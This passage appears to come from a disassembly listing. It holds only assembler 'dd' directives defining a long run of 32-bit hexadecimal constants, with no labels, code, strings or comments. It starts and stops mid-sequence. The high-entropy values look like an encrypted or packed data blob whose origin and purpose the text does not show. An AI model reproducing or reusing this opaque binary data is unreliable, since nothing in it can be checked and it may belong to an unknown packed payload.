0EAC79401h dd 6C3DC28Bh, 77416136h, 42D4B993h, 0D0637609h, 0F3CD9779h dd 0A4FD92C9h, 0B0FA8269h dd 84ABF94h, 6CFF50CFh, 0ABDFCEBFh, 69593889h, 7A90FD03h dd 0E164A758h, 48E9A932h, 3A84C92Ch, 9881F82Bh, 60A03279h dd 9015148Bh, 107663DAh, 8406DC45h, 4A7666A0h, 49466CD2h dd 0D6FF9429h, 2AFE4278h, 0A44791A5h, 0F5726815h, 4509F9BBh dd 3E6B81Fh, 1B14CFF3h, 3AD6C801h, 9B736B7Dh, 7C059EACh dd 2B340C7Eh, 3DF5F9EBh, 1027553Ch, 0D915C190h, 0CF35206Ah dd 4E3DB458h, 1EA8B75Fh, 50E92234h, 470C267Ch, 5139CED3h dd 79FDC71Fh, 24D638D9h, 29B84FD1h, 0ABEACB84h, 7DAD5065h dd 0DCC9B055h, 0D6BB089Eh, 0B6159FA2h, 0AA51B2Ah, 80CA0432h dd 0B0747709h, 8CB03797h, 0CCDB5785h, 9E80C00Ah, 85471446h dd 0B0888DC5h, 0DA390377h, 44F50E42h, 5A13F604h, 1569900Eh dd 54DB194Dh, 51911978h, 0C2FCC8BCh, 0EA0A6BF0h, 87C35E22h dd 1E7887E4h, 0CAF130E9h, 0A0BF0876h, 0EC7A8F14h, 4002E6CDh dd 0DC55B067h, 63892125h, 1E54558Ah, 32CD5293h, 60FAB64Ch dd 0A3E7BEA7h, 64290182h, 21928F8h, 12DB92E2h, 0C2D7FF7Ah dd 9ABA3607h, 0E84F3572h, 6E764180h, 10EFA7C4h, 0AAB5606Fh dd 3F4A295Ah, 4896F41Ah, 0E30CD574h, 0BAA363D1h, 2E53E65Ah dd 0EC211892h, 5CB7CCF5h, 34A6752Eh, 73E192D1h, 0EA096BC1h dd 78854C84h, 0EC1EAC26h, 6E05DDDBh, 0BF817D49h, 2B641359h dd 0B0AF7C4Ah, 67ED939Bh, 0EF16F891h, 22700990h, 858D75D1h dd 0FC70D195h, 304649DBh, 4FD08655h, 24CDE59Fh, 0D9700D28h dd 43266700h, 0A87B5686h, 0E8326E3Fh, 0D9EA9F57h, 0F2AE33BEh dd 9913D76Bh, 4E8A032Ah, 76A7F705h, 7922B39h, 8CDAD15Eh dd 59BFB665h, 320BDE27h, 4179551Fh, 0D5625EC4h, 0B1D0A2Ch dd 4405C772h, 1EB3438Eh, 0E06524D7h, 0E60F678Eh, 2A23911Ch dd 77F4B35Eh, 0A7F1F49Bh, 6C633AAEh, 56496C92h, 97BA599Eh dd 0C2E9B8B7h, 0E2684226h, 0C70BFC80h, 5F993A1Bh, 86993FA8h dd 6B4C5EEEh, 9C2CEB6Dh, 3D9790FBh, 0DCD78B3Ch, 0D1FF209Fh dd 0CA78FF04h, 0F77F7AB4h, 0AD59A576h, 0FD053231h, 0ED8C82F2h dd 0F8CB8654h, 0FE4F52FBh, 2094D947h, 7AC0F099h, 3AABA947h dd 1A07B3D9h, 197C0A41h, 14A8D8FAh, 3FB7E775h, 28241951h dd 0F4DA7B42h, 323176E4h, 0CE566652h, 139098CEh, 0D8A4026Ah dd 807FAB26h, 0B51EC78Bh, 0AE5292Bh, 742097A9h, 6060A247h dd 0FDEA5603h, 5E74B288h, 0CFC6BD4Ah, 0FB06935Fh, 3F8494BCh dd 0FB185226h, 85F1DB5Fh, 55B2037Ch, 50E77744h, 564EC8h dd 6CD5E00Eh, 6BE32DC3h, 47E79EFh, 0B93A43A0h, 0B174B4EBh dd 0B85F4DC0h, 0F8D69C42h, 1EB823B2h, 0C0B7D7C5h, 0BC2582D3h dd 64288CDFh, 7F789882h, 2D87FDD0h, 5A83AC01h, 4F7D282Ch dd 162BAA35h, 6DDD12FBh, 0BBE2F1EFh, 0E9FA30BFh, 8738A85h dd 0B890CD4Fh, 0D0848F0Fh, 8E6D9897h, 8F3231F1h, 4D7BB615h dd 8E02E4BEh, 8BBC82A8h, 5062109Eh, 6F76B9ADh, 3802DB17h dd 82AF47C3h, 2DEC77C9h, 3C5BA4F8h, 6EBD7946h, 0F9D6735Dh dd 72C37B8Dh, 293256BFh, 0AC26E93Ch, 0F567033Eh, 0AF78DC0Eh dd 744F915h, 18918B5Fh, 1839CCA4h, 339BD433h, 13E011E4h dd 81BB3562h, 833C98E8h, 5FDCB2D1h, 0CA217479h, 0CE5BF56Ch dd 157CDCF0h, 57E580FFh, 2F025795h, 86AEB55Ch, 375DA60Ch dd 7832C553h, 6A77D8FAh, 0A0A924F6h, 97FA015Ah, 2E8E25BAh dd 0CE3B9C2Ch, 0E25ACA20h, 0BD0D91D8h, 6092D6BAh, 82092AF6h dd 97D6CC70h, 8C63CED6h, 0A8E2DBC2h, 2939F37Fh, 5DEDFD87h dd 0A9B1927Bh, 0DC435ACFh, 58B5A66Ch, 0EC1E726Fh, 663AD89Fh dd 97BA4651h, 3E333911h, 0C46ED774h, 8FB23ACBh, 0E21BDEABh dd 9B77EAACh, 0CE3652AEh, 0AF951C36h, 6B994D21h, 0C0FD1C6Dh dd 6FA309C8h, 70F6DA9Eh, 7E897095h, 88F04BA4h, 9F9DC870h dd 667F0F2Ch, 549B7E4Dh, 54A4E45Ch, 90AC074Ah, 4041E400h dd 58A4E8ACh, 804C6689h, 7030F79Ah, 5A8A21E4h, 61B84080h dd 37C4F49Ah, 0BE68CF01h, 182EC097h, 5B9870CFh, 95872E7Dh dd 3BC57318h, 0B41E8898h, 0CE664E09h, 37CFACCAh, 0E2964630h dd 4FAD489h, 6A9CDC96h, 78B82EFEh, 6B248022h, 0F95C4AB6h dd 6F216EE8h, 12DDE6ACh, 49E210DEh, 210249E6h, 1AE7614h dd 917F5701h, 7FFBC1F7h, 0A407218Ch, 242E17CEh, 1F9E1348h dd 4D385D10h, 498DE266h, 0F673ED48h, 21426654h, 5727AE2Ah dd 95F2194Bh, 682F3CAh, 35F5D63Dh, 0F5898091h, 0CDEC3A06h dd 0E704CE1Ah, 0AE3BA1E4h, 10F49A93h, 0B3B0B1CEh, 83AA1AAEh dd 0CE27A34Fh, 60296A94h, 0BBD889DFh, 2839989Eh, 6E61981Ah dd 18831201h, 1AB43F8Eh, 994905C6h, 36770D22h, 9DAFAD75h dd 424C86B4h, 25BA22D5h, 0A0E9C830h, 0F83FEF01h, 814A10AAh dd 183B3231h, 0A33AAA25h, 0F8729F0Eh, 93D12BC6h, 23A43E96h dd 49D5226Bh, 63E03D8Ch, 0F3E73559h, 6B65659Ch, 25CCF000h dd 0F21A02CEh, 1ED32A0Fh, 124EA791h, 0E3A0B83Dh, 8F4120Fh dd 0F19B5BD3h, 4AE933FCh, 0B5E8F5EAh, 27165C93h, 7224E4E7h dd 0E13A9247h, 0A7E8B2BBh, 4149D28Ch, 12BFA8F1h, 0EE7E9DDCh dd 5CEFD094h, 0B368CB87h, 2D735058h, 0F8C64C5Ch, 0E87184B0h dd 61143CEBh, 2F15CA25h, 23C3912Ah, 0C0707810h, 36C2FCF9h dd 8A9ED9BEh, 3B622712h, 1725D08Ah, 7851EACCh, 0C461165h dd 872C77CFh, 0FBB88DDDh, 0DF52CD87h, 0DA805F4Bh, 4ED3216Dh dd 0B3596A54h, 10E6BC81h, 0F02E6A33h, 0CE375ACDh, 0A83EC924h dd 0B875E2B4h, 0E05BBE1Dh, 3A758B89h, 360CAFC1h, 69C3BB56h dd 0B35A7D8h, 0BC481F03h, 0A2AF7818h, 89989CB5h, 43FA2D79h dd 5054FCC6h, 0FA8BE849h, 0DA2E30Eh, 0F33E340Bh, 0C9B6BE89h dd 0BBDE6BC5h, 0B8AEE3A8h, 0B7393BE8h, 0CC28CEAh, 637A1F0Fh dd 988A463Bh, 0B1FD181Fh, 0EB8B366Dh, 3135D985h, 0AFD89D32h dd 4B74DAFh, 5AB35570h, 15868A5Dh, 6C757DB8h, 867CB024h dd 95D753Dh, 0AB91C482h, 53595A03h, 853D9216h, 0FBBFD857h dd 0AE4BE2D8h, 0BC8CEF89h, 3EF9B6DDh, 21B10396h, 19EF4057h dd 0D7A14320h, 0D2EDEE3Fh, 17D2844Dh, 9D59FCF3h, 1E9C8C8Dh dd 59E5FB63h, 489E3D93h, 0DC3B4210h, 26490578h, 4339406Ch dd 1E8A0884h, 9D858FA7h, 3A017D85h, 9664A16h, 425B8D43h dd 746F2B11h, 74BFEF8h, 4443DBF4h, 0D2BC28A8h, 646470D0h dd 7F9D4D1Fh, 5D7347ABh, 0AFFEA89Fh, 0C861843Fh, 0A06A3751h dd 9ECF712Fh, 0A4D1473Ah, 94F53E4Ch, 0C460F2C7h, 1E8A9BFh dd 0D1BB36E8h, 51BA8B74h, 4F6187DAh, 0AA37B03Dh, 265A32C2h dd 3EA984F9h, 4BF3906Ah, 1EDD9D47h, 0E516C04Eh, 3FF305Ah dd 0FC57BB49h, 0FCAB1C26h, 681BC987h, 862822F3h, 5957E53Ch dd 48931228h, 639D1B8Eh, 96633C9h, 5BA42FC4h, 3F37FFEEh dd 84AEC2CFh, 62A25BFBh, 0BC2A55BFh, 934D8B5Ch, 93A2B9A6h dd 74064724h, 0DAD818DDh, 0A31BB9C9h, 0D720AC57h, 6CE8281Ah dd 3F463E28h, 0B9832E98h, 7ACB2785h, 0AF0BF555h, 73D0797h dd 39064CA2h, 342DBDE0h, 0F9E7FB57h, 0D73CB300h, 33249284h dd 232B0333h, 683B0581h, 97AACD53h, 4878C257h, 0CCB3E662h dd 8DCEFAEBh, 0ACB1BF86h, 444F5FEh, 0EA7A1A27h, 42EE7F38h dd 991B6335h, 0BFB41CEAh, 2DE1A151h, 70289E14h, 1C52F4EFh dd 67D861DFh, 31C1BE57h, 0E5D6CE32h, 0DB9D0E6Eh, 34CE659Fh dd 2412734Fh, 0B64E0246h dd 7F39507Fh, 0A2FFBE65h, 826A01A2h, 0C371B816h, 0DE18F5B7h dd 9590FD2Ch, 333920D8h, 0B279631Ah, 0F959EFF2h, 0D385F879h dd 7F5C805Dh, 0DB931EEFh, 43561785h, 3EA80310h, 3A672F77h dd 0C02D1295h, 87F65EE4h, 0A71ED5C8h, 7D22DB4Eh, 3759B222h dd 1553EEECh, 0CA665CC3h, 0DAA1835Fh, 21C296FBh, 198CAED1h dd 803A93DDh, 111E14D6h, 0BEF2C8DEh, 22B548C0h, 0B47CDF9Fh dd 0DB2B0184h, 0FBE7C0C8h, 26E52060h, 9003E632h, 7FF26FD0h dd 0C8515464h, 7AB3847Dh, 0EA398C2Fh, 0E284903Bh, 65B5708h dd 7ED83AD5h, 0FBE4C64Bh, 50D85492h, 237CF78Ah, 920BE6C9h dd 0CCC8DE6h, 0C7E221FFh, 0D1C14CF7h, 7E8CEDEh, 757F4A5Ch dd 0C70FAC6h, 7860DECBh, 3885F3A1h, 5C5C47B7h, 3655CAF6h dd 74E9062Dh, 72DBBD3Ch, 0F0C27E55h, 3948C48Ch, 0DC5E7BE0h dd 0C20B25C3h, 8B3BE53Bh, 4F1F12F8h, 55E4EE52h, 0A828B2BAh dd 16C0D7A0h, 604B653Ah, 0E712B0B5h, 527C320Dh, 0CEB4085Eh dd 71CA671Ch, 9EDAE57h, 0F20840C9h, 6E6187B9h, 3EEDA5BCh dd 5E7B9229h, 0CA6708Eh, 78FCE02Fh, 81F53EC2h, 5B5389B2h dd 0BE36D746h, 818AD492h, 0E9280134h, 0CFA01FCEh, 3BB98A4Eh dd 0A1AABAB3h, 3A7E76A6h, 890DB55Ah, 7B4F207Fh, 0AA61BCF1h dd 47BA083Ch, 71BD22E2h, 2A30F82Dh, 0FE7D5002h, 0B7F73E9h dd 14570859h, 0A9ECB79Ah, 606E522Ah, 78C05AE5h, 39A0C08Eh dd 3D02A0F5h, 80EBCF14h, 0B7CDB798h, 3EB5811Ah, 3111989Fh dd 0F765A432h, 0DCB57789h, 635A9328h, 0D8D96128h, 0F33891Eh dd 2E4465E9h, 25B2AA8Fh, 0A46289A9h, 4A38E767h, 0B39DA818h dd 34F9F111h, 305AE726h, 9B8D1F53h, 6EC766D2h, 0A0FB7E20h dd 0FC4D5844h, 4D218EA7h, 1FC1EE61h, 0DCED1887h, 34A38F0Ch dd 65F7F93Ah, 9E81BBAh, 0BEA0F354h, 83D565ABh, 2DB19EA0h dd 7CD38D03h, 0DE92D6ADh, 69264151h, 4D5A68BAh, 0A501A5CCh dd 62137D15h, 0E6F79F8Fh, 0E0CDD9A3h, 54BC1B7Ah, 347AE7B8h dd 0B57D6F1Dh, 622254DFh, 9BF238AEh, 0B88B8B34h, 9BBAE742h dd 26E195C0h, 0B3C778B9h, 885E27E5h, 0FF814F76h, 5BD874DBh dd 0B78DA77Dh, 7FAB6884h, 3CC6A292h, 573D16B9h, 1B8FDA6h dd 0D3E9C5E4h, 89DCA21h, 0B62630Ah, 28B6B198h, 6B85AE34h dd 61F68976h, 0A66C8FF9h, 0CBD1A94Ah, 1CB352F6h, 422DBFCh dd 0E41234EBh, 454BAB04h, 2E9945C8h, 65685E49h, 4D1BEF70h dd 0DD03C919h, 2D2577DDh, 0D4BF2EC5h, 78A938A1h, 0E29CCEB0h dd 0ABA7CAB5h, 0A16AE0C5h, 6A9604E5h, 55D35310h, 521D9620h dd 3A4935DAh, 0DF63E17Bh, 46B9E7A5h, 1B86F6A7h, 0E1E2C849h dd 86A3BB3h, 40BE5B50h, 1AF587BEh, 0C5F4C36Bh, 2C375600h dd 0B2E3C7B9h, 7F8F87C7h, 200DB536h, 0BF6FFC01h, 33BC2D85h dd 90F995Ch, 35DE7C5Fh, 66D0FA71h, 0F6823CA5h, 0DD255D6Ch dd 0B1E85A9Fh, 38B61E5Ch, 0C15D0FBAh, 0DD30CF39h, 4B300B5h dd 5646D2CBh, 34459A3Ch, 0EB0AFAE4h, 5DC1D8F4h, 93D62DF1h dd 4DEF4C84h, 0DF13CACEh, 713231C8h, 38EAAC23h, 0F01EFB19h dd 7C50389Bh, 9DF32795h, 77024C48h, 930E836Ch, 0EF3A76E3h dd 25576A2Ah, 62952817h, 2DECFF42h, 0C4D15150h, 0D5D7C962h dd 0C9A0B98Fh, 0C15987DAh, 6815865Fh, 0C6E09ADBh, 1FF12FE4h dd 0F006ED6Dh, 3B6A41D7h, 0E4436976h, 1E15F249h, 1E8A734Fh dd 0E6138CBCh, 21BE4383h, 0B5B1B042h, 56C8AF9Eh, 0D1DC555Eh dd 0FCFAEA77h, 0BCA90067h, 21693231h, 8B9AC2D2h, 57B2677Ah dd 0AC224D15h, 0D0E16C66h, 0E48A0B89h, 37DFDED6h, 1382A35Bh dd 2B6ADF21h, 0F79F03ABh, 2DEE2CA0h, 4A9BEB27h, 0EEF3A4F6h dd 19C56B5Eh, 0E7E67C64h, 5F082CE7h, 7127256Bh, 0C0F637CDh dd 0C568CCF1h, 0A9DD3217h, 95BC2AD0h, 0C64C134Eh, 2E8593E1h dd 9B5D65h, 95709D43h, 232BE41Fh, 0AC7DA0C4h, 0ED8FEB0Ah dd 4CD76688h, 494FD25Eh, 0F7AAFDD7h, 0D4EA00C3h, 2E898409h dd 9F1B69EDh, 5B7B78D9h, 0DAAA1F6Ah, 4D26D726h, 0BBE0AD75h dd 16110623h, 0D49F449h, 382797FAh, 0EBB59DF8h, 20FAE2B4h dd 29533707h, 0F36ABF73h, 1BE7E05Bh, 4A628718h, 0E95B22C6h dd 9F04F2FCh, 34EF3AA2h, 0CF49EE7Fh, 20F02A17h, 47E789E8h dd 3EE5AA5Dh, 0FC30308Bh, 31F5C654h, 302EA037h, 97E9AE30h dd 4E897C10h, 0ADE8CA1Ch, 443996D4h, 0A0CE70CCh, 73034A14h dd 0BD5DD21Ch, 2ADFFF7Fh, 0F0A4432Eh, 4F2DA54Eh, 6E98C0FEh dd 4B5DE5BEh, 0C8DB4C18h, 0BF931C2Fh, 70A50F80h, 0A8DCAF6Ah dd 930B719Fh, 0B489D4ACh, 0DD251059h, 9C7CAAE5h, 89A2B6A6h dd 0E196F2F9h, 356FB5C5h, 0BAEE8F2Ah, 8CE3BAE7h, 0E1935881h dd 4923781Bh, 0CBB7079Ah, 2DE677Bh, 292FC733h, 10398EB0h dd 6ED24643h, 0CC079F0Dh, 0E32F07BAh, 0EC272C6Ch, 59B6EDF8h dd 6245A2EAh, 2CE28F29h, 0DAA0BBB9h, 33863092h, 0A0786F54h dd 4F63CBACh, 9980423h, 3C35A0C7h, 0E63231EDh, 545160B6h dd 0CAEAB2C9h, 0B7B6D424h, 0CB435225h, 8CF03CB5h, 4166C204h dd 1E3030BAh, 31FFD61Eh, 35517D36h, 0B8143351h, 0A5C47FA4h dd 482557h, 0DF814AC0h, 4D6FAFE0h, 0B1569EBAh, 1D8F2E35h dd 0BC95A620h, 0DC2BA83h, 0E1D53776h, 85FAD873h, 4A539F4Ch dd 87B54685h, 9E37BE3Fh, 0C0611AEAh, 7AE7F5B8h, 0BB7928E3h dd 18FE59AEh, 6E7E9D18h, 8C42FA8Dh, 386D2B1Bh, 6CA2B7EAh dd 1B229464h, 9F27D009h, 9775AF56h, 9C7DB030h, 0CF682544h dd 452748D8h, 0A8C7AD70h, 0F4D82551h, 0FDF90817h, 0E2BA896Ch dd 5CB232CEh, 5B985FA0h, 0D765C3CCh, 2C0E1962h, 9E8B3EDEh dd 8687113Bh, 0AB7D18DFh, 68006302h, 0F9582038h, 26D30FF9h dd 9727A1BBh, 0FF7BFC6Ah, 0E3A96E7Ah, 21D5C5A7h, 0FAC2DDAEh dd 74C96BECh, 0DC10CC05h, 3AEFB709h, 713F8825h, 1DEC1E4h dd 903B4956h, 21BA4E4Eh, 9E711F4Ah, 0E43D06ADh, 0B7047ACBh dd 77BCE9A7h, 0A4388961h, 228BED1h, 7B5B9975h, 5D3439A9h dd 2CFA4425h, 520C734Bh, 9958730Ch, 0CDABED5Ah, 5F3231C9h dd 89D29A4Dh, 4FAEC00Fh, 56CE42Dh, 5CFDDAA0h, 1DD0D870h dd 0CCBBC254h, 1891714Eh, 144DF380h, 0C2198433h, 9C84E43Bh dd 28A5D5D3h, 7A4F78FDh, 962B4D6Fh, 447B36A8h, 976E094Eh dd 0AEE289ADh, 85A6CC2Ch, 0BD6588C2h, 0A2B69E9Ah, 0B3CB2DDAh dd 0EE6F9DD9h, 7D52FC9Fh, 2A5F0210h, 5D4184Eh, 83BB9185h dd 0D63378A2h, 0AE3A59F6h, 6ED5A8CCh, 8172498Dh, 0E0DD8BE2h dd 4F08F391h, 5D5B201Fh, 99E92307h, 66741401h, 5C057B6Dh dd 3B301195h, 0FE5452EAh, 7CD1A9AEh, 0FBCE129Bh, 760A1EA3h dd 18D61884h, 4A59111Eh, 61FE1E18h, 0C34224D1h, 14E496C2h dd 0C507F4BDh, 8FAA8A12h, 3820EF64h, 60BB872h, 7D0E6000h dd 802E9501h, 0AB722428h, 9A676A56h, 5C8B8865h, 0E0C392FDh dd 0B475E196h, 5FEF402Dh, 530C6E94h, 21C0286Fh, 3BAD5F75h dd 4B5EA04Dh, 52A7721Ch, 1143F059h, 0B6FF20Ch, 0C74D9B20h dd 90DA8007h, 0EA2F4ECFh, 97F1B7E3h, 2381E28Eh, 88D717D3h dd 56DE6875h, 729F8B1Ch, 46254436h, 0F5ECE633h, 0F15FDBBBh dd 864842ACh, 0BCA16748h, 955946CEh, 0BAE2A183h, 0CF362F6Fh dd 0AC02B1ADh, 8A23CDAEh, 0CCFB536Eh, 0ADC8B306h, 0F747B289h dd 0BD8C8726h, 0C8032A07h, 0C2A64093h, 0BF5E5FFFh, 0DEDD8DB9h dd 39719D05h, 0FECF047Eh dd 0CD3FB83Bh, 0CF6AA408h, 3F9437A2h, 5FBCBCA4h, 0DFFCBDE2h dd 30EA4900h, 3711361h, 0CCE77F74h, 70830579h, 30D00DEAh dd 0C08B00BFh, 0DA859B95h, 0C9FF7446h, 0F5CE0EC8h, 0A95ACA27h dd 0A8062400h, 9A10B8EDh, 57340635h, 0F4EED451h, 89D46868h dd 0BA6B5784h, 0BBC3A7C6h, 0BD08471Bh, 0E66388BEh, 561E1CEBh dd 0BD4B2C03h, 6B7C8587h, 2C2C6C94h, 25AECEDFh, 0CCAECD84h dd 8C206AC7h, 0CE32310Eh, 0DDDD22CEh, 8A0256BFh, 0ADB2C521h dd 2AF2FAA3h, 11FEBCBCh, 0E26DC3F9h, 80B443D1h, 2EDBD29h dd 0CA7BDCBEh, 7356DBEBh, 9F675F9Ah, 21CD60A6h, 12BACFD8h dd 690A73ADh, 8C5AAB10h, 0A6DF3ACCh, 3356AFCDh, 0C0C1A94h dd 2C30716Dh, 21E3824h, 8F595CC5h, 0C6250219h, 0C11827E5h dd 3BFAFCBFh, 7DC1B574h, 90F1D63Ch, 0D71E7C9Bh, 0E06D713h dd 5C213BDh, 929EE84Ah, 0F8D3FF21h, 0E5ADB115h, 4AB0A8A7h dd 0AE8B012Ch, 25C76E4Eh, 0CD7387Ch, 7B918191h, 1D9877h dd 0E0BD950Fh, 53472478h, 0EBFC971Ch, 26879ADh, 911199B0h dd 9B508778h, 0DC4E2482h, 43527E57h, 28E03065h, 857FBE77h dd 0A053BA82h, 42598EEFh, 898292BDh, 0DFF6BDD4h, 334CEE80h dd 85DCC507h, 0A7B96E1Eh, 17EBC19Fh, 8BB64458h, 0B321419Fh dd 0EB41D63Ch, 90817EEEh, 0EC595246h, 3E50D300h, 0D68633E4h dd 0CDD111BDh, 88A7A522h, 0BF8D36E2h, 3DCD47D1h, 6D015E0Ch dd 0B67820E5h, 54D3BD12h, 45B2D7Dh, 77BD4ACFh, 0D18568B5h dd 0C9E2C1F2h, 0CBAEFC08h, 0A8FFDFE2h, 54012AC7h, 0DAA9372Dh dd 0C112D326h, 448A0D7Ch, 0D33CB08Fh, 55A5B4DCh, 698CBB19h dd 76709F0Eh, 4A9E2AA7h, 4BB41BB0h, 0D0BF2465h, 0E48BE138h dd 0D8AEE59Eh, 0DAD7CEE3h, 0C8660CE1h, 0ADAB8957h, 2D0F7877h dd 36C86B49h, 5DB6F9Ch, 4941C248h, 9717C261h, 307EE8E9h dd 5A5EAC95h, 9926283Fh, 7C8856F1h, 7E64F43Fh, 241E4633h dd 5A262262h, 0C10E6C19h, 9A404CA8h, 0B3480366h, 7545F020h dd 5E469A1Ch, 235C97F7h, 403473EDh, 6B0CAE2Bh, 7230BC6Dh dd 50D5A7AEh, 92B44994h, 0D1040236h, 0BB1221D2h, 159B23A4h dd 44AD02D8h, 0FDB5948Eh, 0E7A8F6E2h, 0DF54FD0Ch, 57485EC5h dd 6356A248h, 46A6D9CFh, 0BF9A4CCBh, 0D6F0F5C8h, 5DDE7A60h dd 3A21DA0Ch, 1BC193E9h, 0A041A67Ch, 0C00D3B44h, 0C85C8FB9h dd 11B95FF9h, 1C0785A8h, 0D3645A4Fh, 0CE504932h, 578BE04Ch dd 5C23E409h, 8021762Fh, 0C9A5DDB9h, 0D9D01E76h, 0AA798A9Dh dd 0E82BEDF5h, 96E38F8Bh, 90298FC5h, 3C9EE96Bh, 0B7C1B74h dd 0D01E0C17h, 791EE2ADh, 7693D75Ah, 54690078h, 0D4268E65h dd 0E601E5F0h, 0D2F76CF7h, 0E37BB346h, 0A27FA13Ah, 994CCE1Fh dd 9F04968Eh, 1E15C124h, 6D77392Eh, 0EBE6C19Ah, 0C040BD20h dd 2E811695h, 8D9D0D6Dh, 0E820301h, 1745EBE1h, 83A6045Bh dd 4BF90E0Fh, 0E1122B85h, 0E6D8842Ch, 0DBA54168h, 75F52312h dd 3646BD6Dh, 319B7423h, 506EBE32h, 0BC10BF98h, 2B7F6964h dd 0A48C4469h, 53895270h, 58786DCh, 7775634Ah, 0AAB87932h dd 3B689ACCh, 701A1A29h, 295ABC7Fh, 70B5F4EEh, 0A80215D2h dd 0EF2C1DDFh, 84825DDFh, 0A2A638AFh, 91E64FC4h, 0C609719Fh dd 0EF588942h, 0D1E237C6h, 0F0055482h, 6B7068ECh, 0DBFC3DA0h dd 6B63F99Eh, 0C6D5CFFCh, 20870C48h, 0FB9D9EB5h, 0DC75A252h dd 0FFAB1324h, 27539475h, 92FB13A4h, 0DCC9216Eh, 5D22C6B5h dd 425FC4FEh, 8C9EBB44h, 0A5949525h, 99E83056h, 8B88DFD1h dd 0C9AEF146h, 1ADF6F2Ch, 0D1A12B6Dh, 87284735h, 0CAB0F7F2h dd 752FB42Ah, 50E7F34h, 533466D0h, 0AB116C68h, 5AEF5A57h dd 0ED8B0D1Bh, 37E4B401h, 6803985h, 6C3231E1h, 0BA823A86h dd 82659F4Dh, 0D0FFFCAFh, 22F36AF5h, 7AF86F92h, 66F733F9h dd 5A377BCEh, 64B49A7Ch, 333C03CCh, 0EA8F1AFBh, 26274420h dd 84383B46h, 0C14DE950h, 0D569584Ah, 4A0F7030h, 38564945h dd 2F6E425Bh, 4200B08Fh, 12D69BBh, 540DFB52h, 33522536h dd 7B4DCF6Fh, 0E9837EF4h, 0A022CEAh, 830BB6BEh, 1EA7B427h dd 0DCC15EF7h, 16A7A4C5h, 0D50BC943h, 0C497A959h, 0C3DBA84Ch dd 0A6254047h, 0E239DC94h, 35E90ECEh, 0DD165EBFh, 28FFEABFh dd 4CD5AF87h, 0B742ECA2h, 0CEB3A08Ah, 10C30138h, 51417C0Bh dd 0F00E3C1Ah, 0F645000Ch, 0C150C877h, 4C16F14Dh, 6B028C7Fh dd 0B69A2546h, 6385F1E1h, 5506E81Dh, 92B5AFFFh, 176F0723h dd 0E25D1C0Ch, 9A7A7BE8h, 214D8C4Dh, 0BB3CD16Fh, 0B4AC44E5h dd 0A685CAB7h, 0E9A25A68h, 0E2DA7EB2h, 20AC9C5Ch, 0B087D1D3h dd 8A1C2A6Eh, 43A7C30Ch, 60D674E6h, 0E07C975h, 212B34EFh dd 4DD83022h, 0B93F5AE6h, 0BA489714h, 0AE3D20CFh, 0DE3460EFh dd 0A31E5915h, 0EC6F4249h, 806E880Eh, 0A86F709Bh, 7A77FAEAh dd 0BF822652h, 0C6E5B040h, 6D44D507h, 916F68Dh, 848ADA1Eh dd 5C2F2BD8h, 43801C0Bh, 1ECBBAA9h, 0BFDDA351h, 41696675h dd 8C7F9F24h, 6D1FDE9Eh, 0E68BB4D8h, 0F9D23864h, 6C161207h dd 4C1309F6h, 6FF58C42h, 0D45AA495h, 658A48F2h, 0AB113261h dd 547686E0h, 0CC47916Eh, 1A83E4B2h, 4882DBB5h, 0F6AD23DFh dd 0D0575716h, 91BBCAB6h, 0E8D29E0Eh, 12C6C272h, 0B0A05D1Eh dd 96636BB2h, 3251FBC0h, 0F5DF3750h, 5D643782h, 0A6E0DF85h dd 26231472h, 40F28884h, 386CDFC7h, 0DA81A05Eh, 5392220Ch dd 4BC0A19Bh, 91A49273h, 19370260h, 8E265D03h, 0BC3F7CA1h dd 928CFF93h, 0D16C7F12h, 0ABAA38A7h, 8EA36BC5h, 0ACE61AD0h dd 92C95D7Ch, 59BC60CAh, 4C0AA999h, 0F14F74C5h, 0F8E88153h dd 8C5A883Eh, 924D78D3h, 996B071Fh, 0F3C6A4D0h, 0E82113ADh dd 40C13D25h, 75AAD13Eh, 0B8209077h, 0EE77974Ah, 581791EBh dd 0C01ADAE7h, 8365CE9Bh, 0EA5E0BF1h, 1EAEDC8Ah, 0EBBA8707h dd 22172494h, 557B7856h, 10F9C508h, 368DDE52h, 69248B05h dd 573803Dh, 5548125Eh, 4AFD1744h, 0FB2A5044h, 0D5EEC9E9h dd 0F695A894h, 858BABAAh, 0C3D4FD65h, 0C9967979h, 6F4C4D5Dh dd 0DF8AE5CDh, 42A62844h, 37E813D9h, 3AEE1ABBh, 99DBEB68h dd 0C711F263h, 759D69E0h, 94E37525h, 243C2AEh, 9C2DB937h dd 0E27ABF34h, 0F9DD5A82h, 0A6D51AE8h, 6332E134h, 688D5F4Fh dd 98F3F2F4h, 0C77EB681h, 0DD38696Ch, 2F27227h, 0A9BF7794h dd 15A542Eh, 0D029B1D6h, 37A8C21Eh, 0FCA72987h, 57C95063h dd 75E50E7Bh, 18EED3A3h, 0A6460845h, 0D24D9402h, 5BB439ABh dd 1CB75904h, 0A810152Ch, 0D26F7DEh, 0F3DA887Dh, 0C1AD6765h dd 3A032BB8h, 4D71558Fh, 0FD9DECC6h, 9F830F2h, 5B62E67Bh dd 5A4AEEA3h, 7E9161B0h, 0BD8A7C2Bh, 25EE261Ch, 0AD3A452Eh dd 6272AF3Fh, 207013AEh, 79159990h, 4A978C7Dh, 0B642699h dd 0AED324C1h, 70F3F066h, 0D106442Dh, 39CE69CFh, 7670F829h dd 0B8E39FBFh, 1172C1Dh, 0C5BB41DAh, 8E22D2E9h, 3231285Fh dd 0E11278CFh, 86077AF1h, 5755E0A1h, 0A6A60899h, 79F9BFA5h dd 3A1A6ACh, 3507DF16h, 531916BFh, 67C06097h, 2172923Ah dd 6BF76BF3h, 3735598h, 8D283F4Ah, 13D7A66Ch, 0BBE9E008h dd 0F1A207A8h, 6D47B7C0h, 0AEA0A019h, 28174155h, 1111187h dd 2DEDFB9Bh, 7DD46D91h, 42A20752h, 0AB59206Ch, 302F62DBh dd 2467D71Ch, 3A17670h, 0D913EC83h, 694E1D8h, 648AFFA3h dd 86075F3h, 0D86BD60Ch dd 3ED40598h, 9075547Eh, 68CA0BBAh, 0FF2548BCh, 0DFC5D23Ch dd 12B0E97Dh, 3BE352D3h, 32311886h, 0A275A7AAh, 0E7C59C42h dd 0B2050E70h, 0CAF4F2D2h, 0FED36F3Dh, 0B36E580h, 6CC55F95h dd 144557BEh, 410B8900h, 0D4F43E89h, 6ECFFD3Fh, 86FA9850h dd 0B1F09CBBh, 380311C1h, 73386067h, 0E59F1BEBh, 0F8E3D3F4h dd 0D4E3458Ah, 5385B71Bh, 8F785821h, 927D3058h, 0D7143807h dd 2EB94D9Eh, 41987746h, 6087C6EFh, 0FCC46954h, 39158CEEh dd 0F861B078h, 